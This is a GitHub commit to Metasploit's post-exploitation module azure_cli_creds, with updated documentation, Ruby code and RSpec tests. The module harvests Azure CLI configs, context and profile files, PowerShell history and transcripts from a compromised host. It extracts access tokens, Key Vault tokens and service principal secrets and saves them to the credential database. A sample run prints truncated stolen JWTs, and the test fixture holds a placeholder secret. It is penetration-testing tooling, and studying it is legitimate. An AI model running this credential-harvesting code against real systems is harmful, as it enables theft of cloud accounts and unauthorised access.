Skip to content

Commit b4975f6

Browse files
committed
updates to azure cli creds
1 parent db338e3 commit b4975f6

File tree

3 files changed

+145
-2
lines changed

3 files changed

+145
-2
lines changed

documentation/modules/post/multi/gather/azure_cli_creds.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,65 @@ Successfully tested on:
3939
[*] Post module execution completed
4040
```
4141

42+
### Windows 10
43+
44+
```
45+
msf6 post(multi/gather/azure_cli_creds) > rerun
46+
[*] Reloading module...
47+
48+
[*] az cli version: 2.61.0
49+
[*] Looking for az cli data in C:\Users\kali
50+
[*] Checking for config files
51+
[*] Checking for context files
52+
[*] Checking for profile files
53+
[*] Checking for console history files
54+
[+] C:\Users\kali/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt stored in /root/.msf4/loot/20240624150413_default_111.111.11.111_azure.console_hi_878016.txt
55+
[*] Checking for powershell transcript files
56+
[*] Looking for az cli data in C:\Users\h00die
57+
[*] Checking for config files
58+
[+] .Azure\config stored in /root/.msf4/loot/20240624150413_default_111.111.11.111_azure.config.ini_539242.txt
59+
[*] Checking for context files
60+
[+] .Azure/AzureRmContext.json stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.context.js_041230.txt
61+
[*] Checking for profile files
62+
[+] .Azure/azureProfile.json stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.profile.js_538496.txt
63+
[*] Checking for console history files
64+
[+] C:\Users\h00die/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.console_hi_210490.txt
65+
[*] Checking for powershell transcript files
66+
[+] C:\Users\h00die/Documents/PowerShell_transcript.EDLT.Dz6sxz6B.20150720151906.txt stored in /root/.msf4/loot/20240624150415_default_111.111.11.111_azure.transcript_021248.txt
67+
[+] C:\Users\h00die/Documents/PowerShell_transcript.EDLT.Dz6sxz6B.20230720151906.txt stored in /root/.msf4/loot/20240624150415_default_111.111.11.111_azure.transcript_743088.txt
68+
[+] Line 1 may contain sensitive information. Manual search recommended, keyword hit: New-PSSession
69+
[+] Subscriptions
70+
=============
71+
72+
Account Name Username Cloud Name
73+
------------ -------- ----------
74+
EXAMPLE11111 1111111111111-1111-1111-111111111111 AzureCloud
75+
N/A(tenant level account) [email protected] AzureCloud
76+
77+
[+] Context
78+
=======
79+
80+
Username Account Type Access Token Graph Access Token MS Graph Access Token Key Vault Token Principal Secret
81+
-------- ------------ ------------ ------------------ --------------------- --------------- ----------------
82+
1111111111111-1111-1111-111111111 AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs
83+
111 ng1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dz 1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dzFzVU Ing1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4
84+
(clip) (clip) (clip)
85+
86+
rosoft.com
87+
1111111111111-1111-1111-111111111 ServicePrincipal
88+
a1c
89+
1111111111111-1111-1111-111111111 AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs
90+
f40 ng1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dz Ing1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4
91+
(clip) (clip)
92+
93+
oft.com
94+
95+
[*] Post module execution completed
96+
msf6 post(multi/gather/azure_cli_creds) >
97+
```
98+
99+
### Older Run
100+
42101
```
43102
msf5 post(multi/gather/azure_cli_creds) > run
44103

modules/post/multi/gather/azure_cli_creds.rb

Lines changed: 48 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,23 @@ def initialize(info = {})
3737
)
3838
end
3939

40+
def rep_creds(user, pass, type)
41+
create_credential_and_login({
42+
# must have an IP address, can't be a domain...
43+
address: '13.107.246.69', # 'portal.azure.com' https://www.nslookup.io/domains/portal.azure.com/dns-records/ June 24, 2024
44+
port: 443,
45+
protocol: 'tcp',
46+
workspace_id: myworkspace_id,
47+
origin_type: :service,
48+
private_type: :password, # most are actually JWT (cookies?) but thats not an option
49+
private_data: pass,
50+
service_name: "azure: #{type}",
51+
module_fullname: fullname,
52+
username: user,
53+
status: Metasploit::Model::Login::Status::UNTRIED
54+
})
55+
end
56+
4057
def parse_json(data)
4158
data.strip!
4259
# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
@@ -68,12 +85,15 @@ def get_az_version
6885
command = 'az --version'
6986
command = "powershell.exe #{command}" if session.platform == 'windows'
7087
version_output = cmd_exec(command, 60)
71-
version_output.match(/azure-cli \((.*)\)/)
88+
# https://rubular.com/r/wW02GJq51WDa0p
89+
version_output.match(/azure-cli\s+[(]?([\d.]+)[)]?/)
7290
end
7391

7492
def run
7593
version = get_az_version
76-
unless version.nil?
94+
if version.nil?
95+
print_status('Unable to determine az cli version')
96+
else
7797
print_status("az cli version: #{version[1]}")
7898
end
7999
profile_table = Rex::Text::Table.new(
@@ -129,6 +149,14 @@ def run
129149
results = process_context_contents(data)
130150
results.each do |result|
131151
context_table << result
152+
next if result[0].blank?
153+
next unless framework.db.active
154+
155+
rep_creds(result[0], result[2], 'Access Token') unless result[2].blank?
156+
rep_creds(result[0], result[3], 'Graph Access Token') unless result[3].blank?
157+
rep_creds(result[0], result[4], 'MS Graph Access Token') unless result[4].blank?
158+
rep_creds(result[0], result[5], 'Key Vault Token') unless result[5].blank?
159+
rep_creds(result[0], result[6], 'Principal Secret') unless result[6].blank?
132160
end
133161
end
134162

@@ -185,6 +213,24 @@ def run
185213
print_good(result)
186214
end
187215
end
216+
217+
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
218+
vprint_status(' Checking for powershell transcript files')
219+
dir("#{user_directory}/Documents").each do |file_name|
220+
next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/
221+
222+
possible_location = "#{user_directory}/Documents/#{file_name}"
223+
data = read_file(possible_location)
224+
next unless data
225+
226+
loot = store_loot 'azure.transcript.txt', 'text/plain', session, data, possible_location, 'Powershell Transcript'
227+
print_good " #{possible_location} stored in #{loot}"
228+
229+
results = print_consolehost_history(data)
230+
results.each do |result|
231+
print_good(result)
232+
end
233+
end
188234
end
189235

190236
print_good(profile_table.to_s) unless profile_table.rows.empty?

spec/lib/msf/core/post/azure_spec.rb

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -251,6 +251,43 @@
251251
},
252252
'ExtendedProperties' => {}
253253
},
254+
'Example (aaaaaaaa-1111-1111-aaaa-111111111112) - aaaaaaaa-1111-1111-aaaa-111111111112 - aaaaaaaa-1111-1111-aaaa-111111111112' => {
255+
'Account' => {
256+
'Id' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
257+
'Credential' => nil,
258+
'Type' => 'ServicePrincipal',
259+
'TenantMap' => {},
260+
'ExtendedProperties' => {
261+
'Subscriptions' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
262+
'Tenants' => 'aaaaaaaa-1111-1111-aaaa-111111111112'
263+
}
264+
},
265+
'Tenant' => {
266+
'Id' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
267+
'Directory' => nil,
268+
'IsHome' => true,
269+
'ExtendedProperties' => {}
270+
},
271+
'Subscription' => {
272+
'Id' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
273+
'Name' => 'Example',
274+
'State' => 'Enabled',
275+
'ExtendedProperties' => {
276+
'SubscriptionPolices' => '{"locationPlacementId":"Public_2014-09-01","quotaId":"PayAsYouGo_2014-09-01","spendingLimit":"Off"}',
277+
'Account' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
278+
'AuthorizationSource' => 'RoleBased',
279+
'HomeTenant' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
280+
'Tenants' => 'aaaaaaaa-1111-1111-aaaa-111111111112',
281+
'Environment' => 'AzureCloud'
282+
}
283+
},
284+
'Environment' => {},
285+
'VersionProfile' => nil,
286+
'TokenCache' => {
287+
'CacheData' => nil
288+
},
289+
'ExtendedProperties' => {}
290+
},
254291
'Example (aaaaaaaa-1111-1111-aaaa-111111111122) - aaaaaaaa-1111-1111-aaaa-111111111111 - aaaaaaaa-1111-1111-aaaa-111111111111' => {
255292
'Account' => {
256293
'Id' => 'aaaaaaaa-1111-1111-aaaa-111111111122',
@@ -496,6 +533,7 @@
496533
expect(subject.send(:process_context_contents, azure_rm_context)).to eql([
497534
['[email protected]', 'User', nil, nil, nil, nil, nil],
498535
['aaaaaaaa-1111-1111-aaaa-111111111111', 'ServicePrincipal', nil, nil, nil, nil, 'aaA1A~aaA~a~a1AAA1AAAa1aAA1AA1A11AAAAaaa'],
536+
['aaaaaaaa-1111-1111-aaaa-111111111112', 'ServicePrincipal', nil, nil, nil, nil, nil],
499537
[
500538
'aaaaaaaa-1111-1111-aaaa-111111111122', 'AccessToken',
501539
'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dzFzVUhIMCIsImtpZCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dzFzVUhIMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTcxNzQ3OTc5NywibmJmIjoxNzE3NDc5Nzk3LCJleHAiOjE3MTc1NjY0OTcsImFpbyI6IkUyTmdZSWliOGY3QndmVi8yUE5idXF3M1M0bzdBZ0E9IiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjci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